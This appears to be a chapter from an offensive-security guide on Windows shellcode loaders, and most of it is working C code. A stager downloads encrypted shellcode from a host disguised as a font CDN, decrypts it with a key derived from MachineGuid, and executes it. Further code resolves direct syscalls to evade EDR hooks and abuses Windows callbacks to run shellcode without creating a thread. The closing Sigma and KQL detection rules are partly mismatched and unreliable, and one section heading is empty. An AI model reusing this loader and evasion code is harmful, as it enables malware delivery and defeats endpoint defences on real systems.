Shellcode Loaders and Stagers

A loader is the thin piece of code responsible for fetching, decrypting, and executing a shellcode payload. Keeping the loader minimal and the payload encrypted-at-rest means static scanners find nothing and the entire detection burden falls on behavioral analysis. This chapter covers the architectural choices — stager vs. stageless, encryption schemes, execution primitives, and the increasingly common technique of calling NT functions via direct syscalls to avoid EDR user-mode hooks — that determine whether a loader survives on a defended endpoint.

Stager Architecture

Minimal HTTPS Stager

// Minimal stage-1 loader. Fetches encrypted shellcode over HTTPS,
// derives decryption key from MachineGuid registry value (unique per host),
// decrypts in-memory, executes via callback trick.
// Total compiled size: ~8-12KB.

#include <windows.h>
#include <winhttp.h>
#pragma comment(lib, "winhttp.lib")

// Derive XOR key from MachineGuid — unique per installation
VOID DeriveKey(BYTE key[32]) {
    HKEY hk;
    RegOpenKeyExW(HKEY_LOCAL_MACHINE,
        L"SOFTWARE\\Microsoft\\Cryptography", 0, KEY_READ, &hk);
    WCHAR guid[64] = {0};
    DWORD sz = sizeof(guid);
    RegQueryValueExW(hk, L"MachineGuid", NULL, NULL, (BYTE*)guid, &sz);
    RegCloseKey(hk);
    // SHA-256(guid bytes) → 32-byte AES key (simplified: use CNG BCrypt)
    // For XOR demo: use first 32 chars of GUID as raw key bytes
    WideCharToMultiByte(CP_UTF8, 0, guid, 32, (char*)key, 32, NULL, NULL);
}

// Fetch payload bytes from HTTPS URL
BYTE* FetchPayload(LPCWSTR host, LPCWSTR path, DWORD* outLen) {
    HINTERNET hS = WinHttpOpen(L"Mozilla/5.0",
        WINHTTP_ACCESS_TYPE_DEFAULT_PROXY,
        WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0);
    HINTERNET hC = WinHttpConnect(hS, host, 443, 0);
    HINTERNET hR = WinHttpOpenRequest(hC, L"GET", path, NULL,
        WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, WINHTTP_FLAG_SECURE);
    WinHttpSendRequest(hR, WINHTTP_NO_ADDITIONAL_HEADERS, 0,
        NULL, 0, 0, 0);
    WinHttpReceiveResponse(hR, NULL);

    DWORD totalRead = 0, avail = 0;
    BYTE* buf = (BYTE*)HeapAlloc(GetProcessHeap(), 0, 1024 * 1024);
    while (WinHttpQueryDataAvailable(hR, &avail) && avail) {
        DWORD read = 0;
        WinHttpReadData(hR, buf + totalRead, avail, &read);
        totalRead += read;
    }
    *outLen = totalRead;
    WinHttpCloseHandle(hR); WinHttpCloseHandle(hC); WinHttpCloseHandle(hS);
    return buf;
}

VOID StageMain() {
    BYTE key[32] = {0};
    DeriveKey(key);

    DWORD len = 0;
    BYTE* enc = FetchPayload(L"cdn.updates-live[.]com",
        L"/assets/fonts/roboto.woff2", &len);

    // Decrypt: XOR with 32-byte rolling key
    for (DWORD i = 0; i < len; i++)
        enc[i] ^= key[i % 32];

    // Execute via callback (see next section)
    ExecViaCallback(enc, len);
}

Payload Encryption Schemes

Direct Syscall Execution

// EDR hooks Win32 API execution chain by patching ntdll.dll stubs.
// Direct syscalls bypass this by calling the kernel directly with the correct syscall number.
// syscall numbers change between Windows versions — must be resolved dynamically.

// Method: walk ntdll on disk (unhooked copy) to find syscall IDs.
// "Hell's Gate" technique: read syscall number from ntdll's .text section.
// "Halo's Gate" extension: handle hooked stubs by looking at adjacent stubs.

// Minimal direct NtAllocateVirtualMemory shellcode execution (x64):

EXTERN_C NTSTATUS NtAllocVMem(
    HANDLE ProcessHandle,
    PVOID* BaseAddress,
    ULONG_PTR ZeroBits,
    PSIZE_T RegionSize,
    ULONG AllocationType,
    ULONG Protect
);

// Resolve syscall number at runtime from ntdll (unhooked on-disk copy)
DWORD GetSyscallNum(const char* funcName) {
    // Map ntdll from disk to avoid hooked in-memory copy
    HANDLE hFile = CreateFileW(L"C:\\Windows\\System32\\ntdll.dll",
        GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
    HANDLE hMap  = CreateFileMappingW(hFile, NULL, PAGE_READONLY, 0, 0, NULL);
    BYTE*  base  = (BYTE*)MapViewOfFile(hMap, FILE_MAP_READ, 0, 0, 0);

    FARPROC fn = GetExportByName(base, funcName);
    // Syscall stub: mov eax, ; mov r10, rcx; syscall
    // The DWORD at offset 4 is the syscall number
    DWORD num = *(DWORD*)(fn + 4);

    UnmapViewOfFile(base);
    CloseHandle(hMap);
    CloseHandle(hFile);
    return num;
}

// Inline ASM stub template (x64 MASM):
// NtAllocVMem PROC
//     mov rax, SYSCALL_NUM     ; resolved at runtime
//     mov r10, rcx
//     syscall
//     ret
// NtAllocVMem ENDP

Callback-Based Execution

// Execute shellcode by passing its address to a Windows callback function.
// The callback executes in the calling thread's context — no new thread created,
// no CreateThread / NtCreateThreadEx API call — avoids Sysmon EID 1 child process
// and most "remote thread" detection. Popular callback APIs:

// 1. EnumSystemLocalesA — invokes callback for each locale (dozens of calls)
VOID ExecViaCallback(BYTE* sc, DWORD len) {
    PVOID mem = VirtualAlloc(NULL, len, MEM_COMMIT|MEM_RESERVE,
        PAGE_EXECUTE_READWRITE);
    memcpy(mem, sc, len);
    EnumSystemLocalesA((LOCALE_ENUMPROCA)mem, LCID_INSTALLED);
}

// 2. EnumChildWindows — WNDENUMPROC callback
EnumChildWindows(NULL, (WNDENUMPROC)mem, 0);

// 3. CreateTimerQueueTimer — timer callback (delayed execution)
HANDLE hq = CreateTimerQueue();
HANDLE ht;
CreateTimerQueueTimer(&ht, hq, (WAITORTIMERCALLBACK)mem,
    NULL, 500, 0, WT_EXECUTEDEFAULT);

// 4. SetWindowsHookExW — WH_KEYBOARD_LL (spawns message pump thread for hook)
// 5. RtlRegisterWait — waitable timer callback
// 6. CopyFileExW — progress callback invoked per chunk
// 7. DrawStateW — output function callback

// All of these: shellcode address passed as a function pointer; Windows calls it.
// From an API-monitoring perspective: single VirtualAlloc + a seemingly benign
// Win32 API call (CopyFileExW, EnumSystemLocalesA). No explicit thread creation.

Detection Engineering

title: Shellcode Execution via Callback — EnumSystemLocales or EnumChildWindows
logsource:
  product: windows
  service: windefend
detection:
  selection:
    EventID: 1116  # Malware detected
    ThreatName|contains: 'Trojan'
  amsi:
    EventID: 1006  # AMSI detection
  condition: selection or amsi
level: critical

title: WinHTTP Download Followed by VirtualAlloc + Execute
logsource:
  product: windows
  category: process_creation
detection:
  selection:
    EventID: 1
    CommandLine|contains: 'WinHttpOpen'
  condition: selection  # Correlate with memory events in EDR
level: medium

-- MDE KQL: shellcode loader pattern — fetch + alloc + exec (ETW correlation)
DeviceEvents
| where Timestamp > ago(1d)
| where ActionType in (
    "ShellcodeExecution","MemoryRemoteExecution",
    "RemoteThreadCreation","ProcessInjection")
| project Timestamp, DeviceName, InitiatingProcessFileName,
    InitiatingProcessCommandLine, AdditionalFields

-- MDE KQL: network download followed by RWX memory allocation (beacon load)
let downloads = DeviceNetworkEvents
    | where RemotePort in (80, 443)
    | where SentBytes < 2000  // small outbound (GET request)
    | where ReceivedBytes > 50000  // large download
    | project DeviceName, DlTime=Timestamp, RemoteIP, InitiatingProcessId;
let allocs = DeviceEvents
    | where ActionType == "MemoryModified"
    | where AdditionalFields has "PAGE_EXECUTE"
    | project DeviceName, AllocTime=Timestamp, AdditionalFields, InitiatingProcessId;
downloads
| join kind=inner allocs on DeviceName, InitiatingProcessId
| where AllocTime between (DlTime .. (DlTime + 30s))
| project DlTime, DeviceName, RemoteIP, AllocTime, AdditionalFields

Q&A